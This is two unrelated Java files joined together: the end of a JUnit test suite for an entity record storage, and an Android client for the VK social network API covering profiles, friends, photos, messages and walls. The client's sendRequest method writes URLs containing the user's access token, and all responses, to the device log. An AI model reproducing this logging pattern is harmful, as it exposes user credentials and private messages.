storage.write(nontMatching2WithCols);
// Prepare the query
Any entityId = Identifier.pack(idMatching);
TargetFilters filters = Targets.acceptingOnly(entityId);
RecordQuery<ProjectId> query = RecordQueries.from(filters, columns);
// Perform the query
Iterator<EntityRecord> readRecords = storage.readAll(query);
// Check results
assertSingleRecord(matchingRecord, readRecords);
}
@Test
@DisplayName("to exclude inactive records by default")
void emptyQueryExcludesInactive() {
ProjectId activeId = newId();
ProjectId archivedId = newId();
ProjectId deletedId = newId();
TestCounterEntity activeEntity = newEntity(activeId);
TestCounterEntity archivedEntity = newEntity(archivedId);
TestCounterEntity deletedEntity = newEntity(deletedId);
archive(archivedEntity);
delete(deletedEntity);
EntityRecord activeRecord = buildStorageRecord(activeEntity);
EntityRecord archivedRecord = buildStorageRecord(archivedEntity);
EntityRecord deletedRecord = buildStorageRecord(deletedEntity);
EntityRecordStorage<ProjectId> storage = storage();
EntityColumns columns = storage.columns();
storage.write(create(deletedEntity, columns, deletedRecord));
storage.write(create(activeEntity, columns, activeRecord));
storage.write(create(archivedEntity, columns, archivedRecord));
Iterator<EntityRecord> read = storage.readAll();
assertSingleRecord(activeRecord, read);
}
@Test
@DisplayName("include inactive records when reading by a query")
void withQueryIdsAndStatusFilter() {
ProjectId activeId = newId();
ProjectId archivedId = newId();
ProjectId deletedId = newId();
TestCounterEntity activeEntity = newEntity(activeId);
TestCounterEntity archivedEntity = newEntity(archivedId);
TestCounterEntity deletedEntity = newEntity(deletedId);
archive(archivedEntity);
delete(deletedEntity);
EntityRecord activeRecord = buildStorageRecord(activeEntity);
EntityRecord archivedRecord = buildStorageRecord(archivedEntity);
EntityRecord deletedRecord = buildStorageRecord(deletedEntity);
EntityRecordStorage<ProjectId> storage = storage();
EntityColumns columns = storage.columns();
storage.write(create(deletedEntity, columns, deletedRecord));
storage.write(create(activeEntity, columns, activeRecord));
storage.write(create(archivedEntity, columns, archivedRecord));
TargetFilters filters = Targets.acceptingOnly(activeId, archivedId, deletedId);
RecordQuery<ProjectId> query = RecordQueries.from(filters, columns);
Iterator<EntityRecord> result = storage.readAll(query);
ImmutableSet<EntityRecord> actualRecords = ImmutableSet.copyOf(result);
assertThat(actualRecords).containsExactly(deletedRecord, activeRecord, archivedRecord);
}
@Test
@DisplayName("exclude inactive records on bulk read by IDs by default")
void filterByIdByDefaultInBulk() {
ProjectId activeId = newId();
ProjectId archivedId = newId();
ProjectId deletedId = newId();
TestCounterEntity activeEntity = newEntity(activeId);
TestCounterEntity archivedEntity = newEntity(archivedId);
TestCounterEntity deletedEntity = newEntity(deletedId);
archive(archivedEntity);
delete(deletedEntity);
EntityRecord activeRecord = buildStorageRecord(activeEntity);
EntityRecord archivedRecord = buildStorageRecord(archivedEntity);
EntityRecord deletedRecord = buildStorageRecord(deletedEntity);
EntityRecordStorage<ProjectId> storage = storage();
EntityColumns columns = storage.columns();
storage.write(create(deletedEntity, columns, deletedRecord));
storage.write(create(activeEntity, columns, activeRecord));
storage.write(create(archivedEntity, columns, archivedRecord));
ImmutableSet<ProjectId> targetIds = ImmutableSet.of(activeId, archivedId, deletedId);
//TODO:2020-04-01:alex.tymchenko: deal with the inconsistency read(ids) vs. read(query).
Iterator<EntityRecord> actual = storage.readAll(targetIds);
assertSingleRecord(activeRecord, actual);
}
private void write(Entity<ProjectId, ?> entity) {
EntityRecordStorage<ProjectId> storage = storage();
EntityRecord record = buildStorageRecord(entity.id(), entity.state(),
entity.lifecycleFlags());
EntityColumns columns = storage.columns();
storage.write(create(entity, columns, record));
}
}
@Nested
@DisplayName("write")
class Write {
@Test
@DisplayName("a record with no custom columns")
void withoutColumns() {
EntityRecordStorage<ProjectId> storage = storage();
ProjectId id = newId();
EntityRecord expected = newStorageRecord(id);
storage.write(id, expected);
Optional<EntityRecord> optional = storage.read(id);
assertTrue(optional.isPresent());
EntityRecord actual = optional.get();
assertEquals(expected, actual);
close(storage);
}
@Test
@DisplayName("a record with custom columns")
void withColumns() {
ProjectId id = newId();
EntityRecord record = newStorageRecord(id);
Entity<ProjectId, ?> testEntity = newEntity(id);
EntityRecordStorage<ProjectId> storage = storage();
EntityRecordWithColumns<ProjectId> recordWithColumns =
create(testEntity, storage.columns(), record);
storage.write(recordWithColumns);
Optional<EntityRecord> readRecord = storage.read(id);
assertTrue(readRecord.isPresent());
assertEquals(record, readRecord.get());
}
@Test
@DisplayName("several records which did not exist in storage")
void severalNewRecords() {
EntityRecordStorage<ProjectId> storage = storage();
int bulkSize = 5;
Map<ProjectId, EntityRecordWithColumns<ProjectId>> initial = new HashMap<>(bulkSize);
for (int i = 0; i < bulkSize; i++) {
ProjectId id = newId();
EntityRecord record = newStorageRecord(id);
initial.put(id, EntityRecordWithColumns.create(id, record));
}
storage.writeAll(initial.values());
Iterator<@Nullable EntityRecord> records = storage.readAll(initial.keySet());
Collection<@Nullable EntityRecord> actual = newArrayList(records);
Collection<@Nullable EntityRecord> expected =
initial.values()
.stream()
.map(recordWithColumns -> recordWithColumns != null
? recordWithColumns.record()
: nullRef())
.collect(toList());
assertThat(actual).containsExactlyElementsIn(expected);
close(storage);
}
@Test
@DisplayName("several records which previously existed in storage and rewrite them")
void rewritingExisting() {
int recordCount = 3;
EntityRecordStorage<ProjectId> storage = storage();
Map<ProjectId, EntityRecord> v1Records = new HashMap<>(recordCount);
Map<ProjectId, EntityRecord> v2Records = new HashMap<>(recordCount);
for (int i = 0; i < recordCount; i++) {
ProjectId id = newId();
EntityRecord record = newStorageRecord(id);
// Some records are changed and some are not.
EntityRecord alternateRecord = (i % 2 == 0)
? record
: newStorageRecord(id);
v1Records.put(id, record);
v2Records.put(id, alternateRecord);
}
storage.writeAll(recordsWithColumnsFrom(v1Records));
Iterator<EntityRecord> firstRevision = storage.readAll();
RecordStorageTestEnv.assertIteratorsEqual(v1Records.values()
.iterator(), firstRevision);
storage.writeAll(recordsWithColumnsFrom(v2Records));
Iterator<EntityRecord> secondRevision =
storage.readAll(ResponseFormat.getDefaultInstance());
RecordStorageTestEnv.assertIteratorsEqual(v2Records.values()
.iterator(), secondRevision);
}
@Test
@DisplayName("a record and update its column values")
void updateColumnValues() {
Project.Status initialStatus = DONE;
@SuppressWarnings("UnnecessaryLocalVariable") // is used for documentation purposes.
Project.Status statusAfterUpdate = CANCELLED;
Int32Value initialStatusValue = Int32Value
.newBuilder()
.setValue(initialStatus.getNumber())
.build();
Filter status = eq("project_status_value", initialStatusValue);
CompositeFilter aggregatingFilter = CompositeFilter
.newBuilder()
.setOperator(ALL)
.addFilter(status)
.build();
TargetFilters filters = TargetFilters
.newBuilder()
.addFilter(aggregatingFilter)
.build();
EntityRecordStorage<ProjectId> storage = storage();
RecordQuery<ProjectId> query = RecordQueries.from(filters, storage.columns());
ProjectId id = newId();
TestCounterEntity entity = newEntity(id);
entity.assignStatus(initialStatus);
EntityRecord record = buildStorageRecord(id, newState(id));
EntityRecordWithColumns<ProjectId> recordWithColumns =
create(entity, storage.columns(), record);
FieldMask fieldMask = FieldMask.getDefaultInstance();
ResponseFormat format = ResponseFormat
.newBuilder()
.setFieldMask(fieldMask)
.vBuild();
// Create the record.
storage.write(recordWithColumns);
Iterator<EntityRecord> recordsBefore = storage.readAll(query, format);
assertSingleRecord(record, recordsBefore);
// Update the entity columns of the record.
entity.assignStatus(statusAfterUpdate);
EntityRecordWithColumns<ProjectId> updatedRecordWithColumns =
create(entity, storage.columns(), record);
storage.write(updatedRecordWithColumns);
Iterator<EntityRecord> recordsAfter = storage.readAll(query, format);
assertFalse(recordsAfter.hasNext());
}
}
@Test
@DisplayName("delete record")
void deleteRecord() {
EntityRecordStorage<ProjectId> storage = storage();
ProjectId id = newId();
EntityRecord record = newStorageRecord(id);
// Write the record.
storage.write(id, record);
// Delete the record.
assertTrue(storage.delete(id));
// There's no record with such ID.
assertFalse(storage.read(id)
.isPresent());
}
@Test
@DisplayName("return a list of entity columns")
void returnColumnList() {
EntityRecordStorage<ProjectId> storage = storage();
ImmutableList<Column> columnList = storage.columns()
.columnList();
int systemColumnCount = LifecycleFlagField.values().length;
int protoColumnCount = 6;
int expectedSize = systemColumnCount + protoColumnCount;
assertThat(columnList).hasSize(expectedSize);
}
@SuppressWarnings("MismatchedQueryAndUpdateOfCollection" /* Storing of generated objects and
checking via #contains(Object). */)
@Test
@DisplayName("create unique states for same ID")
void createUniqueStatesForSameId() {
int checkCount = 10;
ProjectId id = newId();
Set<EntityState> states = newHashSet();
for (int i = 0; i < checkCount; i++) {
EntityState newState = newState(id);
if (states.contains(newState)) {
fail("RecordStorageTest.newState() should return unique messages.");
}
}
}
@Override
protected EntityRecord newStorageRecord(ProjectId id) {
return newStorageRecord(id, newState(id));
}
private static EntityRecord newStorageRecord(ProjectId id, EntityState state) {
Any wrappedState = pack(state);
EntityRecord record = EntityRecord
.newBuilder()
.setEntityId(Identifier.pack(id))
.setState(wrappedState)
.setVersion(GivenVersion.withNumber(0))
.build();
return record;
}
/**
* Creates an unique {@code EntityState} with the specified ID.
*
* <p>Two calls for the same ID should return messages, which are not equal.
*
* @param id
* the ID for the message
* @return the unique {@code EntityState}
*/
private static EntityState newState(ProjectId id) {
String uniqueName = format("record-storage-test-%s-%s", id.getId(), nanoTime());
Project project = Project
.newBuilder()
.setId(id)
.setStatus(Project.Status.CREATED)
.setName(uniqueName)
.addTask(Task.getDefaultInstance())
.build();
return project;
}
private static List<EntityRecordWithColumns<ProjectId>>
recordsWithColumnsFrom(Map<ProjectId, EntityRecord> recordMap) {
return recordMap.entrySet()
.stream()
.map(entry -> withLifecycleColumns(entry.getKey(), entry.getValue()))
.collect(toList());
}
}
|
package com.perm.kate.api;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Collection;
import java.util.zip.GZIPInputStream;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import com.perm.utils.Utils;
import com.perm.utils.WrongResponseCodeException;
import android.text.Html;
import android.util.Log;
public class Api {
static final String TAG="Kate.Api";
public static final String BASE_URL="https://api.vk.com/method/";
public Api(String access_token, String api_id){
this.access_token=access_token;
this.api_id=api_id;
}
String access_token;
String api_id;
//TODO: it's not faster, even slower on slow devices. Maybe we should add an option to disable it. It's only good for paid internet connection.
static boolean enable_compression=true;
/*** utils methods***/
private void checkError(JSONObject root) throws JSONException,KException {
if(!root.isNull("error")){
JSONObject error=root.getJSONObject("error");
int code=error.getInt("error_code");
String message=error.getString("error_msg");
KException e = new KException(code, message);
if (code==14) {
e.captcha_img = error.optString("captcha_img");
e.captcha_sid = error.optString("captcha_sid");
}
throw e;
}
}
private final static int MAX_TRIES=3;
private JSONObject sendRequest(Params params) throws IOException, MalformedURLException, JSONException, KException {
String url = getSignedUrl(params);
Log.i(TAG, "url="+url);
String response="";
for(int i=1;i<=MAX_TRIES;++i){
try{
if(i!=1)
Log.i(TAG, "try "+i);
response = sendRequestInternal(url);
break;
}catch(javax.net.ssl.SSLException ex){
processNetworkException(i, ex);
}catch(java.net.SocketException ex){
processNetworkException(i, ex);
}
}
Log.i(TAG, "response="+response);
JSONObject root=new JSONObject(response);
checkError(root);
return root;
}
private void processNetworkException(int i, IOException ex) throws IOException {
ex.printStackTrace();
if(i==MAX_TRIES)
throw ex;
}
private String sendRequestInternal(String url) throws IOException, MalformedURLException, WrongResponseCodeException {
HttpURLConnection connection=null;
try{
connection = (HttpURLConnection)new URL(url).openConnection();
connection.setConnectTimeout(30000);
connection.setReadTimeout(30000);
connection.setUseCaches(false);
connection.setDoOutput(false);
connection.setDoInput(true);
if(enable_compression)
connection.setRequestProperty("Accept-Encoding", "gzip");
int code=connection.getResponseCode();
Log.i(TAG, "code="+code);
if (code==-1)
throw new WrongResponseCodeException("Network error");
//on error can also read error stream from connection.
InputStream is = new BufferedInputStream(connection.getInputStream(), 8192);
String enc=connection.getHeaderField("Content-Encoding");
if(enc!=null && enc.equalsIgnoreCase("gzip"))
is = new GZIPInputStream(is);
String response=Utils.convertStreamToString(is);
return response;
}
finally{
if(connection!=null)
connection.disconnect();
}
}
private long getDefaultStartTime() {
long now = System.currentTimeMillis() / 1000L;//unixtime
return now-31*24*60*60;//month ago
}
private String getSignedUrl(Params params) {
String args = params.getParamsString();
//add access_token
if(args.length()!=0)
args+="&";
args+="access_token="+access_token;
return BASE_URL+params.method_name+"?"+args;
}
public static String unescape(String text){
return Html.fromHtml(text).toString();
}
/*** API methods ***/
public ArrayList<City> getCities(Collection<Long> cids) throws MalformedURLException, IOException, JSONException, KException {
if (cids == null || cids.size() == 0)
return null;
Params params = new Params("getCities");
params.put("cids",arrayToString(cids));
JSONObject root = sendRequest(params);
JSONArray array=root.optJSONArray("response");
ArrayList<City> cities=new ArrayList<City>();
if(array!=null){
for(int i=0; i<array.length(); i++){
JSONObject o = (JSONObject)array.get(i);
City c = City.parse(o);
cities.add(c);
}
}
return cities;
}
<T> String arrayToString(Collection<T> items) {
if(items==null)
return null;
String str_cids = "";
for (Object item:items){
if(str_cids.length()!=0)
str_cids+=',';
str_cids+=item;
}
return str_cids;
}
public ArrayList<Country> getCountries(Collection<Long> cids) throws MalformedURLException, IOException, JSONException, KException {
if (cids == null || cids.size() == 0)
return null;
Params params = new Params("getCountries");
String str_cids = arrayToString(cids);
params.put("cids",str_cids);
JSONObject root = sendRequest(params);
JSONArray array=root.getJSONArray("response");
ArrayList<Country> countries=new ArrayList<Country>();
int category_count = array.length();
for(int i=0; i<category_count; i++){
JSONObject o = (JSONObject)array.get(i);
Country c = Country.parse(o);
countries.add(c);
}
return countries;
}
//*** methods for users ***//
public ArrayList<User> getProfiles(Collection<Long> uids, Collection<String> domains, String fields, String name_case) throws MalformedURLException, IOException, JSONException, KException{
if (uids == null && domains == null)
return null;
if ((uids != null && uids.size() == 0) || (domains != null && domains.size() == 0))
return null;
Params params = new Params("getProfiles");
if (uids != null && uids.size() > 0)
params.put("uids",arrayToString(uids));
if (domains != null && domains.size() > 0)
params.put("domains",arrayToString(domains));
if (fields == null)
params.put("fields","uid,first_name,last_name,nickname,domain,sex,bdate,city,country,timezone,photo,photo_medium_rec,photo_big,has_mobile,rate,contacts,education,online");
else
params.put("fields",fields);
params.put("name_case",name_case);
JSONObject root = sendRequest(params);
JSONArray array=root.optJSONArray("response");
return User.parseUsers(array);
}
/*** methods for friends ***/
public ArrayList<User> getFriends(Long user_id, String fields, Integer lid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("friends.get");
if(fields==null)
fields="first_name,last_name,photo_medium,online";
params.put("fields",fields);
params.put("uid",user_id);
params.put("lid", lid);
if(lid==null)
params.put("order","hints");
JSONObject root = sendRequest(params);
ArrayList<User> users=new ArrayList<User>();
JSONArray array=root.optJSONArray("response");
//if there are no friends "response" will not be array
if(array==null)
return users;
int category_count=array.length();
for(int i=0; i<category_count; ++i){
JSONObject o = (JSONObject)array.get(i);
User u = User.parse(o);
users.add(u);
}
return users;
}
public ArrayList<Long> getOnlineFriends(Long uid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("friends.getOnline");
params.put("uid",uid);
JSONObject root = sendRequest(params);
JSONArray array=root.optJSONArray("response");
ArrayList<Long> users=new ArrayList<Long>();
if (array != null) {
int category_count=array.length();
for(int i=0; i<category_count; ++i){
Long id = array.optLong(i, -1);
if(id!=-1)
users.add(id);
}
}
return users;
}
public ArrayList<Long> getLikeUsers(String item_type, long item_id, long owner_id) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("likes.getList");
params.put("type",item_type);
params.put("owner_id",owner_id);
params.put("item_id",item_id);
JSONObject root = sendRequest(params);
JSONObject response=root.getJSONObject("response");
JSONArray array=response.optJSONArray("users");
ArrayList<Long> users=new ArrayList<Long>();
if (array != null) {
int category_count=array.length();
for(int i=0; i<category_count; ++i){
Long id = array.optLong(i, -1);
if(id!=-1)
users.add(id);
}
}
return users;
}
public ArrayList<Long> getMutual(Long target_uid, Long source_uid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("friends.getMutual");
params.put("target_uid",target_uid);
params.put("source_uid",source_uid);
JSONObject root = sendRequest(params);
JSONArray array=root.optJSONArray("response");
ArrayList<Long> users=new ArrayList<Long>();
if (array != null) {
int category_count=array.length();
for(int i=0; i<category_count; ++i){
Long id = array.optLong(i, -1);
if(id!=-1)
users.add(id);
}
}
return users;
}
/*** methods for photos ***/
public ArrayList<Album> getAlbums(Long owner_id) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.getAlbums");
if (owner_id > 0)
//user
params.put("uid",owner_id);
else
//group
params.put("gid",-owner_id);
JSONObject root = sendRequest(params);
ArrayList<Album> albums=new ArrayList<Album>();
JSONArray array=root.optJSONArray("response");
if(array==null)
return albums;
int category_count=array.length();
for(int i=0; i<category_count; ++i){
JSONObject o = (JSONObject)array.get(i);
Album a = Album.parse(o);
if(a.title.equals("DELETED"))
continue;
albums.add(a);
}
return albums;
}
public ArrayList<Photo> getPhotos(Long uid, Long aid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.get");
if(uid>0)
params.put("uid", uid);
else
params.put("gid", -uid);
params.put("aid", aid);
params.put("extended", "1");
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
if (array == null)
return new ArrayList<Photo>();
ArrayList<Photo> photos = parsePhotos(array);
return photos;
}
public ArrayList<Photo> getUserPhotos(Long uid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.getUserPhotos");
params.put("uid", uid);
params.put("sort","0");
params.put("count","50");
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
if (array == null)
return new ArrayList<Photo>();
ArrayList<Photo> photos = parsePhotos(array);
return photos;
}
public ArrayList<Photo> getAllPhotos(Long owner_id, Long offset, Long count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.getAll");
params.put("owner_id", owner_id);
params.put("offset", offset);
params.put("count", count);
JSONObject root = sendRequest(params);
JSONArray array=root.getJSONArray("response");
ArrayList<Photo> photos=new ArrayList<Photo>();
int category_count=array.length();
for(int i=1; i<category_count; ++i){
JSONObject o = (JSONObject)array.get(i);
Photo p = Photo.parse(o);
photos.add(p);
}
return photos;
}
public ArrayList<Photo> getUserPhotos(Long owner_id, Long offset, Long count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.getUserPhotos");
params.put("owner_id", owner_id);
params.put("offset", offset);
params.put("count", count);
JSONObject root = sendRequest(params);
JSONArray array=root.getJSONArray("response");
ArrayList<Photo> photos=new ArrayList<Photo>();
int category_count = array.length();
for(int i=1; i<category_count; ++i){
JSONObject o = (JSONObject)array.get(i);
Photo p = Photo.parse(o);
photos.add(p);
}
return photos;
}
public CommentList getPhotoComments(Long pid, Long owner_id, int offset, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.getComments");
params.put("pid", pid);
params.put("owner_id", owner_id);
if (count > 0)
params.put("count", count);
if (offset > 0)
params.put("offset", offset);
params.put("sort", "asc");
JSONObject root = sendRequest(params);
JSONArray array = root.getJSONArray("response");
CommentList commnets = new CommentList();
commnets.count=array.getInt(0);
int category_count = array.length();
for(int i = 1; i<category_count; ++i) { //get(0) is integer, it is comments count
JSONObject o = (JSONObject)array.get(i);
Comment comment = Comment.parsePhotoComment(o);
commnets.comments.add(comment);
}
return commnets;
}
public CommentList getNoteComments(Long nid, Long owner_id, int offset, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("notes.getComments");
params.put("nid", nid);
params.put("owner_id", owner_id);
if (count > 0)
params.put("count", count);
if (offset > 0)
params.put("offset", offset);
JSONObject root = sendRequest(params);
JSONArray array = root.getJSONArray("response");
CommentList commnets = new CommentList();
commnets.count=array.getInt(0);
int category_count = array.length();
for(int i = 1; i<category_count; ++i) { //get(0) is integer, it is comments count
JSONObject o = (JSONObject)array.get(i);
Comment comment = Comment.parseNoteComment(o);
commnets.comments.add(comment);
}
return commnets;
}
public CommentList getVideoComments(long video_id, Long owner_id, int offset, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("video.getComments");
params.put("vid", video_id);
params.put("owner_id", owner_id);
if (count > 0)
params.put("count", count);
if (offset > 0)
params.put("offset", offset);
JSONObject root = sendRequest(params);
JSONArray array = root.getJSONArray("response");
CommentList commnets = new CommentList();
commnets.count=array.getInt(0);
int category_count = array.length();
for(int i = 1; i<category_count; ++i) { //get(0) is integer, it is comments count
JSONObject o = (JSONObject)array.get(i);
Comment comment = Comment.parseVideoComment(o);
commnets.comments.add(comment);
}
return commnets;
}
//Not used for now
public ArrayList<Comment> getAllPhotoComments(Long owner_id, Long album_id, int offset, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.getAllComments");
params.put("owner_id", owner_id);
params.put("album_id", album_id);
if (count > 0)
params.put("count", count);
if (offset > 0)
params.put("offset", offset);
ArrayList<Comment> commnets = new ArrayList<Comment>();
@SuppressWarnings("unused")
JSONObject root = sendRequest(params);
//JSONArray array = root.getJSONArray("response");
//int category_count = array.length();
//for(int i = 0; i<category_count; ++i) {
// JSONObject o = (JSONObject)array.get(i);
// Comment comment = new Comment();
// comment.cid = Long.parseLong(o.getString("cid"));
// comment.from_id = Long.parseLong(o.getString("from_id"));
// comment.date = Long.parseLong(o.getString("date"));
// comment.message = unescape(o.getString("message"));
// commnets.add(comment);
return commnets;
}
public long createPhotoComment(Long pid, Long owner_id, String message, Long reply_to_cid, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.createComment");
params.put("pid",pid);
params.put("owner_id",owner_id);
addCaptchaParams(captcha_key, captcha_sid, params);
params.put("message",message);
params.put("reply_to_cid", reply_to_cid);
JSONObject root = sendRequest(params);
long message_id = root.optLong("response");
return message_id;
}
public long createNoteComment(Long nid, Long owner_id, String message, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("notes.createComment");
params.put("nid",nid);
params.put("owner_id",owner_id);
addCaptchaParams(captcha_key, captcha_sid, params);
params.put("message",message);
//if (reply_to != null && !reply_to.equals(""))
// params.put("reply_to", reply_to);
JSONObject root = sendRequest(params);
long message_id = root.optLong("response");
return message_id;
}
public long createVideoComment(Long video_id, Long owner_id, String message, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("video.createComment");
params.put("vid",video_id);
params.put("owner_id",owner_id);
addCaptchaParams(captcha_key, captcha_sid, params);
params.put("message",message);
JSONObject root = sendRequest(params);
long message_id = root.optLong("response");
return message_id;
}
private void addCaptchaParams(String captcha_key, String captcha_sid, Params params) {
params.put("captcha_sid",captcha_sid);
params.put("captcha_key",captcha_key);
}
public ArrayList<Message> getMessages(long time_offset, boolean is_out, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("messages.get");
if (is_out)
params.put("out","1");
if (time_offset!=0)
params.put("time_offset", time_offset);
if (count != 0)
params.put("count", count);
params.put("preview_length","0");
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
ArrayList<Message> messages = parseMessages(array, false, 0, false, 0);
return messages;
}
public ArrayList<Message> getMessagesHistory(long uid, long chat_id, long me, Long offset, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("messages.getHistory");
if(chat_id<=0)
params.put("uid",uid);
else
params.put("chat_id",chat_id);
params.put("offset", offset);
if (count != 0)
params.put("count", count);
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
ArrayList<Message> messages = parseMessages(array, chat_id<=0, uid, chat_id>0, me);
return messages;
}
public ArrayList<Message> getMessagesDialogs(long time_offset, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("messages.getDialogs");
if (time_offset!=0)
params.put("time_offset", time_offset);
if (count != 0)
params.put("count", count);
params.put("preview_length","0");
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
ArrayList<Message> messages = parseMessages(array, false, 0, false ,0);
return messages;
}
private ArrayList<Message> parseMessages(JSONArray array, boolean from_history, long history_uid, boolean from_chat, long me) throws JSONException {
ArrayList<Message> messages = new ArrayList<Message>();
if (array != null) {
int category_count = array.length();
for(int i = 1; i < category_count; ++i) {
JSONObject o = (JSONObject)array.get(i);
Message m = Message.parse(o, from_history, history_uid, from_chat, me);
messages.add(m);
}
}
return messages;
}
public String sendMessage(Long uid, long chat_id, String message, String title, String type, Collection<String> attachments, String lat, String lon, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("messages.send");
if(chat_id<=0)
params.put("uid", uid);
else
params.put("chat_id", chat_id);
params.put("message", message);
params.put("title", title);
params.put("type", type);
params.put("attachment", arrayToString(attachments));
params.put("lat", lat);
params.put("long", lon);
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
Object message_id = root.opt("response");
if (message_id != null)
return String.valueOf(message_id);
return null;
}
public String markAsNewOrAsRead(ArrayList<Long> mids, boolean as_read) throws MalformedURLException, IOException, JSONException, KException{
if (mids == null || mids.size() == 0)
return null;
Params params;
if (as_read)
params = new Params("messages.markAsRead");
else
params = new Params("messages.markAsNew");
params.put("mids", arrayToString(mids));
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
public String deleteMessage(Long mid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("messages.delete");
params.put("mid", mid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
/*** for status***/
public String getStatus(Long uid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("status.get");
params.put("uid", uid);
JSONObject root = sendRequest(params);
JSONObject obj = root.optJSONObject("response");
String status_text = null;
if (obj != null)
status_text = unescape(obj.getString("text"));
return status_text;
}
public String setStatus(String status_text) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("status.set");
params.put("text", status_text);
JSONObject root = sendRequest(params);
Object response_id = root.opt("response");
if (response_id != null)
return String.valueOf(response_id);
return null;
}
public ArrayList<WallMessage> getWallMessages(Long owner_id, int count, int offset) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("wall.get");
params.put("owner_id", owner_id);
if (count > 0)
params.put("count", count);
params.put("offset", offset);
JSONObject root = sendRequest(params);
JSONArray array = root.getJSONArray("response");
ArrayList<WallMessage> wmessages = new ArrayList<WallMessage>();
int category_count = array.length();
for(int i = 1; i < category_count; ++i) {
JSONObject o = (JSONObject)array.get(i);
WallMessage wm = WallMessage.parse(o);
wmessages.add(wm);
}
return wmessages;
}
//always returns about 33-35 items
public Newsfeed getNews(long start_time, long count, long end_time) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("newsfeed.get");
params.put("filters","post,photo,photo_tag,friend,note");
params.put("start_time",(start_time==-1)?getDefaultStartTime():start_time);
if(end_time!=-1)
params.put("end_time",end_time);
if(count!=0)
params.put("count",count);
JSONObject root = sendRequest(params);
return Newsfeed.parse(root, false);
}
public Newsfeed getNewsComments() throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("newsfeed.getComments");
params.put("last_comments","1");
params.put("count","50");
JSONObject root = sendRequest(params);
return Newsfeed.parse(root, true);
}
/*** for audio ***/
public ArrayList<Audio> getAudio(Long uid, Long gid, Collection<Long> aids) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("audio.get");
params.put("uid", uid);
params.put("gid", gid);
params.put("aids", arrayToString(aids));
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
return parseAudioList(array, 0);
}
public String getLyrics(Long id) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("audio.getLyrics");
params.put("lyrics_id", id);
JSONObject root = sendRequest(params);
JSONObject response = root.optJSONObject("response");
return response.optString("text");
}
/*** for video ***/
public ArrayList<Video> getVideo(String videos, Long owner_id, String width, Long count, Long offset) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("video.get");
params.put("videos", videos);
if (owner_id != null){
if(owner_id>0)
params.put("uid", owner_id);
else
params.put("gid", -owner_id);
}
params.put("width", width);
params.put("count", count);
params.put("offset", offset);
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
ArrayList<Video> videoss = new ArrayList<Video>();
if (array != null) {
for(int i = 1; i<array.length(); ++i) {
JSONObject o = (JSONObject)array.get(i);
Video video = Video.parse(o);
videoss.add(video);
}
}
return videoss;
}
public ArrayList<Video> getUserVideo(Long user_id) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("video.getUserVideos");
params.put("uid", user_id);
params.put("count", "50");
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
ArrayList<Video> videos = new ArrayList<Video>();
if (array != null) {
for(int i = 1; i<array.length(); ++i) {
JSONObject o = (JSONObject)array.get(i);
videos.add(Video.parse(o));
}
}
if(videos.size()==0)
return videos;
//get video details - original response doesn't contain video links, just id and image
String video_ids = "";
for (Video v:videos){
if(!video_ids.equals(""))
video_ids+=",";
video_ids = video_ids + String.valueOf(v.owner_id) + "_" + String.valueOf(v.vid);
}
return getVideo(video_ids, null, null, null, null);
}
/*** for crate album ***/
public Album createAlbum(String title, String privacy, String comment_privacy, String description) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.createAlbum");
params.put("title", title);
params.put("privacy", privacy);
params.put("comment_privacy", comment_privacy);
params.put("description", description);
JSONObject root = sendRequest(params);
JSONObject o = root.optJSONObject("response");
if (o == null)
return null;
return Album.parse(o);
}
public String editAlbum(long aid, String title, String privacy, String comment_privacy, String description) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.editAlbum");
